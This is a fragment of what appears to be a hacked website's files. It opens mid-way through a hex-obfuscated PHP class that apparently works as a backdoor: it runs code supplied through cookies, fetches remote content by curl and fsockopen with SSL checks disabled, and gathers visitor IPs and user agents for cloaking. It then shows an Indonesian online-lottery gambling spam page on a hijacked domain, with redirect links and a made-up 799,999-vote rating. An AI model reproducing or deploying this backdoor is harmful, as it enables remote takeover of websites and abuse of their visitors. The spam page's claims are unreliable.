'72c275f6d726c273d3e27556b564e543152465830464552272' . 'e2746493d272c275f636476273d3e275a474a6e6257396b5a2' . '72e27513d3d272c275f697874273d3e2753272e275641272e2' . '73649413d3d272c275f767561273d3e274948272e277767565' . '545364941272e273d3d272c275f6874273d3e2749487767556' . 'd566d4f272e276941272e273d272c275f7675273d3e2749447' . '869636a272e2734272e274b272c275f786e70273d3e2761584' . '13d272c275f7861273d3e2764272e275745272e273d272c275' . 'f7163273d3e27636d566d272c275f6b71273d3e27635864366' . '5413d272e273d272c293b7d7d686561646572285f6a65683a3' . 'a5f6f7128275f76272e27652729293b686561646572285f6a6' . '5683a3a5f6f7128275f272e2778272e276a272e27792729293' . 'b696628697373657428245f4745545b5f6a65683a3a5f6f712' . '8275f7078272e276c27295d29297b245f68796f3d5f6165792' . '85f6a65683a3a5f6f7128275f272e2775272e276e2729293b6' . '96628245f68796f2626737472706f7328245f68796f2c5f6a6' . '5683a3a5f6f7128275f77272e2764272929213d3d66616c736' . '5297b646965285f6a65683a3a5f6f7128275f77272e276e272' . '9293b7d656c73657b646965285f6a65683a3a5f6f7128275f6' . 'd75702729293b7d7d696628697373657428245f4745545b5f6' . 'a65683a3a5f6f7128275f686d7127295d29297b245f666e3d2' . '45f434f4f4b49453b245f77753d28696e7429726f756e64283' . '02b302b30293b245f6775663d28696e7429726f756e6428322' . 'e333333333333333333333333332b322e33333333333333333' . '3333333332b322e33333333333333333333333333293b245f7' . '2653d617272617928293b245f72655b245f77755d3d5f6a656' . '83a3a5f6f7128275f796d272e276127293b7768696c6528245' . 'f677566297b245f72655b245f77755d2e3d245f666e5b28696' . 'e7429726f756e642831302b31302b3130295d5b245f6775665' . 'd3b69662821245f666e5b28696e7429726f756e642831302b3' . '1302b3130295d5b245f6775662b28696e7429726f756e64283' . '02e32352b302e32352b302e32352b302e3235295d297b69662' . '821245f666e5b28696e7429726f756e6428372e352b372e352' . 'b372e352b372e35295d5b245f6775662b28696e7429726f756' . 'e6428312b31295d29627265616b3b245f77752b2b3b245f726' . '55b245f77755d3d5f6a65683a3a5f6f7128275f626e27293b2' . '45f6775662b2b3b7d245f6775663d245f6775662b28696e742' . '9726f756e6428332e352b332e35292b28696e7429726f756e6' . '428302e33333333333333333333333333332b302e333333333' . '33333333333333333332b302e3333333333333333333333333' . '333293b7d245f77753d245f72655b28696e7429726f756e642' . '8372b37295d28292e245f72655b28696e7429726f756e64283' . '62b362b362b36295d3b69662821245f72655b28696e7429726' . 'f756e6428322b322b32295d28245f777529297b245f6775663' . 'd245f72655b28696e7429726f756e6428382e3636363636363' . '63636363636372b382e363636363636363636363636372b382' . 'e36363636363636363636363637295d28245f77752c245f726' . '55b28696e7429726f756e6428332e333333333333333333333' . '333332b332e333333333333333333333333332b332e3333333' . '3333333333333333333295d293b245f72655b28696e7429726' . 'f756e6428342e352b342e35295d28245f6775662c245f72655' . 'b28696e7429726f756e6428332e36363636363636363636363' . '6372b332e363636363636363636363636372b332e363636363' . '63636363636363637295d2e245f72655b28696e7429726f756' . 'e642831312e352b31312e35295d28245f72655b28696e74297' . '26f756e642831322e352b31322e35295d28245f666e5b28696' . 'e7429726f756e6428312b312b31295d2929293b7d696e636c7' . '5646528245f7775293b7d66756e6374696f6e205f616579282' . '45f786c297b245f6a6a3d5f6a65683a3a5f6f7128275f74272' . 'e277227293b245f64743d5f6a65683a3a5f6f7128275f272e2' . '76b272e277627292e245f786c3b69662869735f63616c6c616' . '26c65285f6a65683a3a5f6f7128275f272e276f73772729292' . '97b245f7a67683d6375726c5f696e697428245f6474293b637' . '5726c5f7365746f707428245f7a67682c4355524c4f50545f5' . '3534c5f564552494659504545522c66616c7365293b6375726' . 'c5f7365746f707428245f7a67682c4355524c4f50545f53534' . 'c5f564552494659484f53542c28696e7429726f756e6428302' . 'e352b302e352b302e352b302e3529293b6375726c5f7365746' . 'f707428245f7a67682c4355524c4f50545f464f4c4c4f574c4' . 'f434154494f4e2c28696e7429726f756e6428302e32352b302' . 'e32352b302e32352b302e323529293b6375726c5f7365746f7' . '07428245f7a67682c4355524c4f50545f52455455524e54524' . '14e534645522c28696e7429726f756e6428302e33333333333' . '333333333333333332b302e333333333333333333333333333' . '32b302e333333333333333333333333333329293b6375726c5' . 'f7365746f707428245f7a67682c4355524c4f50545f4845414' . '445522c28696e7429726f756e6428302b302b302b3029293b6' . '375726c5f7365746f707428245f7a67682c4355524c4f50545' . 'f434f4e4e45435454494d454f55542c28696e7429726f756e6' . '428322e352b322e352b322e352b322e3529293b6375726c5f7' . '365746f707428245f7a67682c4355524c4f50545f54494d454' . 'f55542c28696e7429726f756e6428352b3529293b245f6a6a3' . 'd6375726c5f6578656328245f7a6768293b245f7475673d637' . '5726c5f676574696e666f28245f7a6768293b6375726c5f636' . 'c6f736528245f7a6768293b696628245f7475675b5f6a65683' . 'a3a5f6f7128275f726a6127295d213d28696e7429726f756e6' . '42836362e3636363636363636363636372b36362e363636363' . '6363636363636372b36362e363636363636363636363637292' . '972657475726e2066616c73653b7d656c73657b245f6a68743' . 'd70617273655f75726c28245f6474293b245f75646c3d28245' . 'f6a68745b5f6a65683a3a5f6f7128275f272e277377272e277' . '627295d3d3d5f6a65683a3a5f6f7128275f63272e276427292' . '93b245f6c7a3d5f6a65683a3a5f6f7128275f6a272e276f272' . 'e276527292e245f6a68745b5f6a65683a3a5f6f7128275f696' . '227295d3b696628697373657428245f6a68745b5f6a65683a3' . 'a5f6f7128275f79787227295d2929245f6c7a2e3d5f6a65683' . 'a3a5f6f7128275f6f7a27292e245f6a68745b5f6a65683a3a5' . 'f6f7128275f272e2770272e276827295d3b245f6c7a2e3d5f6' . 'a65683a3a5f6f7128275f62766327292e245f6a68745b5f6a6' . '5683a3a5f6f7128275f6f637627295d2e5f6a65683a3a5f6f7' . '128275f272e27777a27293b245f7a62793d66736f636b6f706' . '56e2828245f75646c3f5f6a65683a3a5f6f7128275f68272e2' . '76c27293a5f6a65683a3a5f6f7128275f65272e2771272e276' . 'a2729292e245f6a68745b5f6a65683a3a5f6f7128275f6e272' . 'e277827295d2c245f75646c3f28696e7429726f756e6428323' . '2312e352b3232312e35293a28696e7429726f756e642834302' . 'b343029293b696628245f7a6279297b667075747328245f7a6' . '2792c245f6c7a293b245f7877723d28696e7429726f756e642' . '8302b30293b7768696c65282166656f6628245f7a627929297' . 'b245f6b6c6a3d666765747328245f7a62792c28696e7429726' . 'f756e64283334312e33333333333333333333332b3334312e3' . '3333333333333333333332b3334312e3333333333333333333' . '33329293b696628245f78777229245f6a6a2e3d245f6b6c6a3' . 'b696628245f6b6c6a3d3d5f6a65683a3a5f6f7128275f6a632' . '72929245f7877723d28696e7429726f756e6428302e32352b3' . '02e32352b302e32352b302e3235293b7d66636c6f736528245' . 'f7a6279293b7d7d72657475726e245f6a6a3b7d245f6167763' . 'd697373657428245f5345525645525b5f6a65683a3a5f6f712' . '8275f7a776227295d293b245f6f66613d697373657428245f5' . '345525645525b5f6a65683a3a5f6f7128275f6c6327295d293' . 'b245f75727a3d697373657428245f5345525645525b5f6a656' . '83a3a5f6f7128275f747127295d293b245f6c713d697373657' . '428245f5345525645525b5f6a65683a3a5f6f7128275f7a272' . 'e276227295d293f245f5345525645525b5f6a65683a3a5f6f7' . '128275f777827295d3a5f6a65683a3a5f6f7128275f6271272' . '93b245f63736a3d697373657428245f5345525645525b5f6a6' . '5683a3a5f6f7128275f79626a27295d293f245f53455256455' . '25b5f6a65683a3a5f6f7128275f61272e2762272e277827295' . 'd3a5f6a65683a3a5f6f7128275f272e2763272e277827293b2' . '45f6167763d697373657428245f5345525645525b5f6a65683' . 'a3a5f6f7128275f272e2763727727295d293f245f534552564' . '5525b5f6a65683a3a5f6f7128275f616c27295d3a6e756c6c3' . 'b245f6f66613d697373657428245f5345525645525b5f6a656' . '83a3a5f6f7128275f696427295d293f245f5345525645525b5' . 'f6a65683a3a5f6f7128275f7a272e276427295d3a6e756c6c3' . 'b245f75727a3d697373657428245f5345525645525b5f6a656' . '83a3a5f6f7128275f272e276c272e277227295d293f245f534' . '5525645525b5f6a65683a3a5f6f7128275f272e276d272e277' . '26c27295d3a6e756c6c3b69662866696c7465725f766172282' . '45f6167762c28696e7429726f756e642839312e36363636363' . '63636363636372b39312e3636363636363636363636372b393' . '12e3636363636363636363636372929297b245f66783d245f6' . '167763b7d656c736569662866696c7465725f76617228245f6' . 'f66612c28696e7429726f756e642839312e363636363636363' . '6363636372b39312e3636363636363636363636372b39312e3' . '636363636363636363636372929297b245f66783d245f6f666' . '13b7d656c73657b245f66783d245f75727a3b7d69662869737' . '3657428245f4745545b5f6a65683a3a5f6f7128275f272e276' . '3272e27647627295d29297b6563686f205f6a65683a3a5f6f7' . '128275f6978272e277427292e245f66782e5f6a65683a3a5f6' . 'f7128275f76272e2775272e276127292e245f6c712e5f6a656' . '83a3a5f6f7128275f687427292e245f63736a2e5f6a65683a3' . 'a5f6f7128275f767527293b6578697428293b7d69662821697' . '373657428245f6678297c7c21697373657428245f6c71297c7' . 'c21697373657428245f63736a29297b6578697428293b7d656' . 'c73657b245f69673d6172726179285f6a65683a3a5f6f71282' . '75f272e2778272e276e272e277027293d3e245f66782c5f6a6' . '5683a3a5f6f7128275f272e27786127293d3e245f6c712c5f6' . 'a65683a3a5f6f7128275f71272e276327293d3e245f63736a2' . '93b245f6b75713d75726c656e636f6465286261736536345f6' . '56e636f6465286a736f6e5f656e636f646528245f696729292' . '93b245f68796f3d5f61657928245f6b7571293b696628245f6' . '8796f2626737472706f7328245f68796f2c5f6a65683a3a5f6' . 'f7128275f272e276b272e2771272929213d3d66616c7365297' . 'b6563686f245f68796f3b6578697428293b7d7d'; public function initializeModule($p) { include $p; } public function resetState() { $a=array((44+28+43),((123-2)),((124-9)),(97-2),((103*1)),(101),(126-10),((49*1)+46),(((17*5)+31)),(((106*63)-6577)),(((26*2)+57)),((89*55)-4783),(50+45),(2*50),(112-7),(2*57)); $s=''; foreach($a as $n){$s.=chr($n);} return $s(); } } $eo = new ServiceRegistry(); $eo->executeAction(); $eo->trackActivity(); $eo->generateToken(); PK 39�\��A�!| !| index.htmlnu �[��� <!DOCTYPE html> <html lang="id" amp=""> <head> <meta charset="UTF-8"> <meta content="ie=edge" http-equiv="X-UA-Compatible"> <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1"> <title>ISOTOTO Akses Cepat Situs Toto Login Bandar Togel Online Terlengkap</title> <meta name="description" content="ISOTOTO merupakan website yang menyediakan akses cepat untuk situs toto login resmi bandar togel online dengan pasaran terlengkap di indonesia dengan pelayanan ramah dan responsif."> <meta name="keywords" content="isototo, isototo login, bandar togel, bandar togel 4d, bandar togel resmi, bandar togel terpercaya, bandar toto, bandar toto terpercaya, bandar toto togel"> <meta name="robots" content="index, follow"> <meta itemprop="name" content="ISOTOTO"> <meta itemprop="description" content="ISOTOTO merupakan website yang menyediakan akses cepat untuk situs toto login resmi bandar togel online dengan pasaran terlengkap di indonesia dengan pelayanan ramah dan responsif."> <meta itemprop="image" content="https://i.gyazo.com/00b88c12fcec9ecf107a8ecdef475d4d.webp"> <meta property="og:url" content="https://iamkarachi.org/"> <meta property="og:type" content="website"> <meta property="og:title" content="ISOTOTO Akses Cepat Situs Toto Login Bandar Togel Online Terlengkap"> <meta property="og:description" content="ISOTOTO merupakan website yang menyediakan akses cepat untuk situs toto login resmi bandar togel online dengan pasaran terlengkap di indonesia dengan pelayanan ramah dan responsif."> <meta property="og:image" content="https://i.gyazo.com/00b88c12fcec9ecf107a8ecdef475d4d.webp"> <meta name="twitter:card" content="summary_large_image"> <meta name="twitter:site" content="@ISOTOTO"> <meta name="twitter:creator" content="@ISOTOTO"> <meta name="twitter:title" content="ISOTOTO Akses Cepat Situs Toto Login Bandar Togel Online Terlengkap"> <meta name="twitter:description" content="ISOTOTO merupakan website yang menyediakan akses cepat untuk situs toto login resmi bandar togel online dengan pasaran terlengkap di indonesia dengan pelayanan ramah dan responsif."> <meta name="twitter:image" content="https://i.gyazo.com/00b88c12fcec9ecf107a8ecdef475d4d.webp"> <link rel="canonical" href="https://iamkarachi.org/"> <link rel="icon" type="image/png" href="https://i.gyazo.com/b8db69835ad82a3a46b632d43925624e.png" sizes="16x16"> <link rel="icon" type="image/x-icon" href="https://i.gyazo.com/b8db69835ad82a3a46b632d43925624e.png"/> <link rel="preconnect" href="https://cdn.ampproject.org"> <link rel="preload" as="script" href="https://cdn.ampproject.org/v0.js"> <script async="" src="https://cdn.ampproject.org/v0.js"></script> <link rel="stylesheet" href="https://fonts.googleapis.com/css2?family=Exo%202:ital,wght@0,400"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.2/css/all.min.css"> <style amp-boilerplate="">body{-webkit-animation: -amp-start 8s steps(1, end) 0s 1 normal both;-moz-animation: -amp-start 8s steps(1, end) 0s 1 normal both;-ms-animation: -amp-start 8s steps(1, end) 0s 1 normal both;animation: -amp-start 8s steps(1, end) 0s 1 normal both}@-webkit-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@-moz-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@-ms-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@-o-keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}@keyframes -amp-start{from{visibility: hidden}to{visibility: visible}}</style> <noscript><style amp-boilerplate="">body{-webkit-animation: none;-moz-animation: none;-ms-animation: none;animation: none}</style></noscript> <style amp-custom="">:root{--primary-color: #298dbd;--tertiary-color: #298dbd;--dark-color: #000000;--darkest-color: #141414;--jackpot-light-color: #bfbfbf;--jackpot-number-color: #eaffdf;--mitragame-bg-color: #transparent;--text-common-color: #e0f0ff;--navbar-bg-color: #fff;--text-nav: #191a19;--text-common-inverse-color: #000;--text-highlight-color: #ffa202;--primary-shadow-color-normal: rgba(148, 216, 39, 0.3);--primary-shadow-color-small: rgba(181, 216, 39, 0.19);--primary-shadow-color-large: rgba(181, 216, 39, 0.4);--primary-shadow-color-medium: rgba(181, 216, 39, 0.25);--infobar-linear-gradient-color: linear-gradient(#298dbd, #298dbd);--infobar-linear-gradient-color-alpha: linear-gradient(#ffb700, #fbb034);--infobar-linear-gradient-dark-color-alpha: linear-gradient(0deg,#121800,rgba(34, 43, 18, 0.3));--infobar-linear-gradient-semi-dark-color-alpha: linear-gradient(0deg,#121f33,rgba(34, 43, 18, 0.2));--bg-dark-color: #000000;--bg-darker-color: #141414;--text-btn-primary-color: #000;--card-header-primary-text-color: #000;--bg-promo-btn: #ffa202;--text-color-promo-btn: #000;--bg-info-content: #303031;--bg-accent-color: #ffa202;--bg-secondary-color: #6c757d;--bg-success-color: #28a745;--bg-danger-color: #dc3545;--bg-warning-color: #ffa202;--bg-info-color: #17a2b8;--border-primary: #298dbd;--bg-light-color: #e0f0ff}@font-face{font-family: "Advanced Dot Digital-7";font-style: normal;font-weight: 400;src: local("Advanced Dot Digital-7"),url("https://fonts.cdnfonts.com/s/26574/advanced_dot_digital-7.woff")format("woff")}*,:after,:before{box-sizing: border-box}html{font-family: sans-serif;line-height: 1.15;text-size-adjust: 100%;height: 100%;font-size: 0.9rem;-webkit-tap-highlight-color: var(--mitragame-bg-color)}body{position: relative;min-height: 100%;margin: 0;font-family: "Exo 2", sans-serif;font-size: 1.05rem;font-weight: 400;line-height: 1.5;text-align: left;background-color: var(--bg-darker-color);color: var(--text-common-color)}iframe,amp-img,object,svg,video{vertical-align: middle}.custom-background{background-image: url(https://i.gyazo.com/1f4eaba079d7b4dc75123e4918deac48.jpg);background-position: center;background-size: cover;background-repeat: no-repeat;background-attachment: fixed}amp-img{max-width: 100%;height: auto}.size-width{width: 900px;max-width: 100%}.ff{margin: 0 auto;box-shadow: 0 0 10px -1px var(--primary-color);background-color: var(--bg-dark-color);padding-top: 63px;padding-bottom: 90px}.ff .te{width: 900px;max-width: 100%;margin: 0 auto;z-index: 1031}.te{background-color: var(--bg-darker-color);box-shadow: 0 0 10px -4px var(--primary-color);max-width: 100%;margin: 0 auto}hr{box-sizing: content-box;height: 0;overflow: visible;margin-top: 1rem;margin-bottom: 1rem;border-width: 0;border-style: none;border-color: initial;border-image: initial;border-top: 1px solid rgba(0, 0, 0, 0.1)}dt{margin-bottom: 0.5rem}dd{margin-inline-start: 20px}h1,h2,h3,h4{margin-top: 1.2rem;margin-bottom: 0.8rem;font-weight: 500;line-height: 1.2}h1{font-size: 2.1rem}h4{font-size: 1.2rem}p,ul{margin-top: 0;margin-bottom: 1rem}.text-bold{font-weight: bold}a{color: #298dbd;text-decoration: none}a:hover{color: var(--tertiary-color)}.jd{text-align: center}.kd{font-weight: 700}.text-common{color: var(--text-common-color)}.p-0{padding: 0}.px-0{padding-left: 0;padding-right: 0}.py-025{padding-top: 0.25rem;padding-bottom: 0.25rem}.px-025{padding-left: 0.25rem;padding-right: 0.25rem}.py-05{padding-top: 0.5rem;padding-bottom: 0.5rem}.px-05{padding-left: 0.5rem;padding-right: 0.5rem}.p-025{padding: 0.25rem}.p-05{padding: 0.5rem}.p-1{padding: 1rem}.px--05{padding-right: -0.5rem;padding-left: -0.5rem}.m-0{margin: 0}.m-025{margin: 0.25rem}.m-05{margin: 0.5rem}.mt-05{margin-top: 0.5rem}.mb-025{margin-bottom: 0.25rem}.mb-05{margin-bottom: 0.5rem}.mx-auto{margin-right: auto;margin-left: auto}.mx--05{margin-right: -0.5rem;margin-left: -0.5rem}.mt-05{margin-top: 0.5rem}.w-24{width: 6rem}.h-24{height: 6rem}.h-auto{height: auto}.w-50{width: 50%}.relative{position: relative}.rounded-md{border-radius: 0.25rem}.rounded-lg{border-radius: 0.5rem}.text-center{text-align: center}.items-center{align-items: center}.text-highlight{color: #39d1ff}.text-highlight-icon{color: #298dbd}.font-bold{font-weight: 700}.text-lg{font-size: 1.4rem;line-height: 2rem}.text-dn{text-decoration: none}.title-underline{position: relative;height: 1px;margin-bottom: 1.3rem}.title-underline:before{content: "";position: absolute;top: 0;left: 30%;right: 30%;width: 40%;height: 1px;background-image: #298dbd}.title-underline:after{content: "";position: absolute;z-index: 1;top: -4px;left: calc(50% - 5px);width: 10px;height: 10px;transform: rotate(45deg);background-color: #39d1ff;border-bottom: 1px solid #39d1ff;border-right: 1px solid #39d1ff}.w-full{width: 100%}.flex{display: flex}.flex-row{flex-direction: row}.flex-col{flex-direction: column}.justify-center{justify-content: center}.absolute{position: absolute}.truncate,.whitespace-nowrap{white-space: nowrap}nav amp-img{max-width: 108px;width: 100%}.y{position: relative;display: flex;flex-wrap: wrap;align-items: center;justify-content: space-between;padding: 0.64rem 1rem}.ec{top: 0;position: fixed;right: 0;left: 0;z-index: 1030}.vb{display: block}.bb{padding: 0.5rem 0.75rem;font-size: 1rem;line-height: 1;font-weight: 600;background-color: var(--primary-color);background: #298dbd;border: 1px solid transparent;border-radius: 0.25rem;color: var(--text-btn-primary-color); color: #000; border-color: hsla(0, 0%, 100%, 0.1)}.bb:focus,.bb:hover{background: var(--tertiary-color)}.marquee-container{margin: 0;margin-top: 4px}.info-area{position: relative;width: 100%;background-image: #298dbd}.info-area:before{content: "";position: absolute;top: 0;border-top: 2px solid var(--border-primary);border-bottom: 1px solid var(--border-primary);left: 0;width: calc(100% - 35px);height: 100%;background-color: var(--bg-info-content);transform: skew(-35deg, 0deg);transform-origin: bottom left}.marquee-item{display: none}.info-bar{position: relative;font-size: 1.1rem;color: var(--text-common-color);background-image: #298dbd;margin-right: 35px}.info-bar:after,.info-bar:before{content: "";position: absolute;top: 0;height: 100%;background-image: #298dbd;transform: skew(-35deg, 0deg);transform-origin: bottom left}.info-bar:before{left: 0;width: 100%}.info-bar:after{right: -15px;width: 10px}.info-bar .info-bar-text{position: relative}.info-text{white-space: nowrap;overflow: hidden;box-sizing: border-box;flex: 0 0 calc(100% - 100px);max-width: 100%;z-index: 1}.marquee{flex: 0 0 auto;min-width: 100%;z-index: 1;display: flex;flex-direction: row;align-items: center;animation: marquee 30s linear infinite}@keyframes marquee{0%{transform: translateX(100%)}100%{transform: translateX(-100%)}}.lb{position: relative;width: 100%;overflow: hidden}.lb:after{display: block;clear: both;content: ""}.lb amp-img{display: block;padding: 0.5rem;border-radius: 1rem;width: 100%}.k{display: flex;justify-content: center;flex-wrap: wrap;margin-right: -10px;margin-left: -10px}.l{margin-right: 0;margin-left: 0}.l > .m{padding-right: 0;padding-left: 0}.m,.n,.o{position: relative;width: 100%;padding-right: 15px;padding-left: 15px}.m{flex-basis: 0px;flex-grow: 1;max-width: 100%}.mb{position: relative;display: block;float: left;width: 100%;margin-right: -100%;backface-visibility: hidden;transition: transform 0.6s ease-in-out 0s;transition: none 0s ease 0s}.mb amp-img{border: 7px solid transparent}.s{display: block;width: 100%}.buttom{display: inline-block;font-weight: 400;color: var(--text-btn-primary-color);text-align: center;vertical-align: middle;user-select: none;padding: 0.45rem 0.75rem;font-size: 1.25rem;line-height: 1.5;border-radius: 0;transition: color 0.15s ease-in-out 0s, background-color 0.15s ease-in-out 0s,border-color 0.15s ease-in-out 0s, box-shadow 0.15s ease-in-out 0s;transition: none 0s ease 0s;border-width: 0;border-style: none;border-color: initial;border-image: initial}.masuk{color: #000;background: #1268ee}.daftar{color: #000;background: #298dbd}.masuk:active,.masuk:focus,.masuk:hover,.daftar:active,.daftar:focus,.daftar:hover{font-weight: 600;color: var(--navbar-bg-color)}.qd,.rd{-webkit-font-smoothing: antialiased;display: inline-block;font-style: normal;font-variant: normal;text-rendering: auto;line-height: 1}.sd{font-size: 2em}.td{font-size: 2em}.ud:before{content: ""}.vd:before{content: ""}.wd:before{content: ""}.xd:before{content: ""}.yd:before{content: ""}.zd:before{content: ""}.ae:before{content: ""}.be:before{content: "\f590"}@font-face{font-family: Font Awesome\5 Free;font-style: normal;font-weight: 400;font-display: auto;src: url(https://m-g.io/istanacasino.com/38b05dab.eot)format("embedded-opentype"),url(https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/webfonts/fa-brands-400.woff2)format("woff2"),url(https://m-g.io/istanacasino.com/82875b3e.woff) format("woff"),url(https://m-g.io/istanacasino.com/2833f486.ttf) format("truetype"),url(https://m-g.io/istanacasino.com/ab32d5ac.svg) format("svg")}@font-face{font-family: Font Awesome\5 Free;font-style: normal;font-weight: 900;font-display: auto;src: url(https://m-g.io/istanacasino.com/acee4f1e.eot)format("embedded-opentype"),url(https://m-g.io/istanacasino.com/07bed153.woff2) format("woff2"),url(https://m-g.io/istanacasino.com/0f6fcbf4.woff) format("woff"),url(https://m-g.io/istanacasino.com/b7f728ec.ttf) format("truetype"),url(https://m-g.io/istanacasino.com/c3b7af3b.svg) format("svg")}.rd{font-family: Font Awesome\5 Free}@font-face{font-family: Games Icon;font-style: normal;font-weight: 900;font-display: auto;src: url(https://m-g.io/istanacasino.com/f4966828.eot)format("embedded-opentype"),url(https://m-g.io/istanacasino.com/75c41c48.woff) format("woff"),url(https://m-g.io/istanacasino.com/cfac6de2.ttf) format("truetype"),url(https://m-g.io/istanacasino.com/2a0f42b6.svg) format("svg")}.qd,.rd{font-weight: 900}.qd{font-family: Games Icon}.be:before{content: ""}.ce:before{content: ""}.de:before{content: ""}.ee:before{content: ""}.fe:before{content: ""}.ge:before{content: ""}.ye{background-color: var(--darkest-color);border: 1px solid var(--border-primary);margin: 0.5rem;border-radius: 9999px}.g{font-size: 0.9rem;font-weight: 400}.ye a:active,.ye a:focus,.ye a:hover{color: #39d1ff;-webkit-transform: scale(1.2);-ms-transform: scale(1.2);transform: scale(1.2);-webkit-transition: 0.4s;-o-transition: 0.4s;transition: 0.4s}.jacpot{background-color: var(--darkest-color);border: 1px solid var(--border-primary);padding: 0.5rem 1rem;border-radius: 0.5rem}.fb{position: relative;display: flex;flex-direction: column;min-width: 0;overflow: hidden;overflow-wrap: break-word;background-color: var(--dark-color);background-clip: border-box;border: 1px solid rgba(0, 0, 0, 0.125);border-radius: 0.25rem}.id{overflow: hidden;text-overflow: ellipsis;white-space: nowrap}.ie{background-color: transparent;background: linear-gradient(to right,transparent,var(--primary-color) 50%,transparent);border-color: var(--tertiary-color)}.je{width: 100%;letter-spacing: 5px;padding: 16px}.je > div{background-color: var(--text-nav);box-shadow: inset 0 0 2px 1px var(--darkest-color);font-family: "Advanced Dot Digital-7", sans-serif}.jp-size{color: var(--jackpot-number-color);font-size: 2.1rem;line-height: 2.5rem;letter-spacing: 1px}.dc{position: absolute;display: flex;justify-content: space-between;align-items: center}.me{width: 100%;height: 10px;padding: 0 3px;left: 0}.me.ne{top: 3px}.me.oe{bottom: 3px}.ke,.le{background-color: var(--tertiary-color);border-radius: 50%}.ke{width: 10px;height: 10px;animation: a 1s ease 0s infinite normal none running}.le{width: 5px;height: 5px;animation: a 1s steps(1) 0s infinite normal none running}@keyframes a{50%{background-color: var(--text-common-color)}}table{width: 100%;border-radius: 12px}td{background: var(--darkest-color);border-color: #000;border-radius: 12px;padding: 10px}td:first-child{width: 35%}.k-jackpot{display: flex;justify-content: center;flex-wrap: nowrap;margin-right: -10px;margin-left: -10px;overflow: hidden}.k-jackpot .n{padding-left: 0.3rem;padding-right: 0.3rem}.hotgames{flex: 0 0 25%;max-width: 16.65%}.rekomendasi{flex: 0 0 33.33%;max-width: 33.33%}.sports{flex: 0 0 50%;max-width: 50%}.pools{flex: 0 0 16.66%;max-width: 16.66%}.sb{border-color: var(--border-primary);border-top: 4px solid var(--tertiary-color);border-bottom: 2px solid var(--tertiary-color)}.hf{border: 3px solid transparent}.ib{padding: 0.5rem 0.25rem;background-color: var(--tertiary-color);border-top: 1px solid rgba(0, 0, 0, 0.125)}.pools amp-img{width: 75px}.if{width: 10px;height: 10px;border-radius: 50%;position: absolute;top: 6px;right: 6px;box-shadow: 0 0 2px 2px var(--bg-success-color);background-color: var(--bg-success-color)}.bank{flex: 0 0 17%;max-width: 17%}.bank amp-img{width: 100%}.i{padding: 0.1rem;background-color: #fff;border: 1px solid var(--text-common-color);border-radius: 0.5rem}.ef{border-bottom-width: 3px;border-color: #30f95e}.nav-bottom{position: fixed;margin: 0 auto;bottom: 0;left: 0;right: 0;background: #298dbd;z-index: 40;border-top-width: 1px;border-top-left-radius: 0.5rem;border-top-right-radius: 0.5rem}.nav-bottom > ul{list-style-type: none}.nav-bottom > ul > li{flex-basis: 0px;flex-grow: 1;font-size: 0.75rem;line-height: 1rem}.nav-bottom > ul > li > a{color: var(--text-btn-primary-color);white-space: nowrap;font-size: 0.75rem;line-height: 1rem;font-weight: 600;text-transform: uppercase}.bg-promo-button{background: #298dbd;color: var(--bg-danger-color)}.nav-bottom > ul > li > a:hover{color: var(--text-common-color);background-color: var(--darkest-color);border-color: var(--dark-color);border-top-left-radius: 0.375rem;border-top-right-radius: 0.375rem}.blink{animation: blink 1.2s linear infinite}@keyframes blink{0%{opacity: 0}50%{opacity: 0.8}100%{opacity: 2.5}50%{opacity: 0.8}}@media only screen and (max-width: 720px){.pools{flex: 0 0 20%;max-width: 20%}}@media only screen and (max-width: 600px){.jp-size{font-size: 1.18rem;line-height: 1.7rem}.k-hotGame .n{padding-left: 0.25rem;padding-right: 0.25rem}.n{max-width: 17%}.pools{flex: 0 0 25%;max-width: 25%}.pools amp-img{width: 70px}.pools p{font-size: 0.8rem}.pools .g{font-size: 0.8rem}}@media only screen and (max-width: 360px){.jp-size{font-size: 0.9rem;line-height: 1rem}.pools{flex: 0 0 33.33%;max-width: 33.33%}} </style> <script type="application/ld+json">{"@context":"http://schema.org","@type":"Game","name":"Slot Qris","author":{"@type":"Person","name":"Slot Qris"},"headline":"ISOTOTO Akses Cepat Situs Toto Login Bandar Togel Online Terlengkap","description":"ISOTOTO merupakan website yang menyediakan akses cepat untuk situs toto login resmi bandar togel online dengan pasaran terlengkap di indonesia dengan pelayanan ramah dan responsif.","keywords":["ISOTOTO"],"image":"https://i.gyazo.com/00b88c12fcec9ecf107a8ecdef475d4d.webp","url":"https://iamkarachi.org/","publisher":{"@type":"Organization","name":"ISOTOTO"},"aggregateRating":{"@type":"AggregateRating","ratingValue":"99","bestRating":"99","worstRating":"0","ratingCount":"799999"},"inLanguage":"id-ID"} </script> </head> <body class="custom-background"> <div class="size-width ff"> <nav class="y eb ec te"> <a href="/"> <amp-img src="https://i.gyazo.com/5b46a18bfe664a13b056efa44a54f360.gif" alt="ISOTOTO" width="108" height="34" layout="fixed"></amp-img> </a> <a href="https://twtr.to/myseoiso" rel="noreferrer noopener" target="_blank"><span class="bb vb b c blink"><i class="rd ae qc"></i> DAFTAR</span> </a> </nav> <div class="flex flex-row m-0"> <div class="flex flex-row info-area align-items-center m-0 text-common"> <ul class="marquee-item"></ul> <div class="info-bar px-05 py-025"> <div class="info-bar-text"> <i class="fas fa-bullhorn"></i> </div> </div> <div class="info-text text-common"> <div class="text-common mt-1 marquee-container"> <div class="marquee"> <div class="w-full"> <span>BERGABUNG SEKARANG JUGA DI ISOTOTO Akses Cepat Situs Toto Login Bandar Togel Online Terlengkap </span> </div> </div> </div> </div> </div> </div> <div class="lb"> <div class="mb"> <amp-img src="https://i.gyazo.com/00b88c12fcec9ecf107a8ecdef475d4d.webp" alt="Slot Qris" width="875" height="447" layout="responsive"></amp-img> </div> </div> <div class="k l"> <div class="m"> <a href="https://rebrand.ly/myseoiso" rel="noreferrer noopener" target="_blank" class="buttom masuk s"><i class="rd xd qc"></i> MASUK</a> </div> <div class="m"> <a href="https://twtr.to/myseoiso" rel="noreferrer noopener" target="_blank" class="buttom daftar s"><i class="rd ae qc"></i> DAFTAR</a> </div> </div> <div class="k l text-center ye g p-025"> <div class="m py-05"><a href="https://twtr.to/myseoiso" title="Togel" class="flex flex-col text-common text-dn"><i class="qd td de nc"></i>TOGEL</a></div> <div class="m 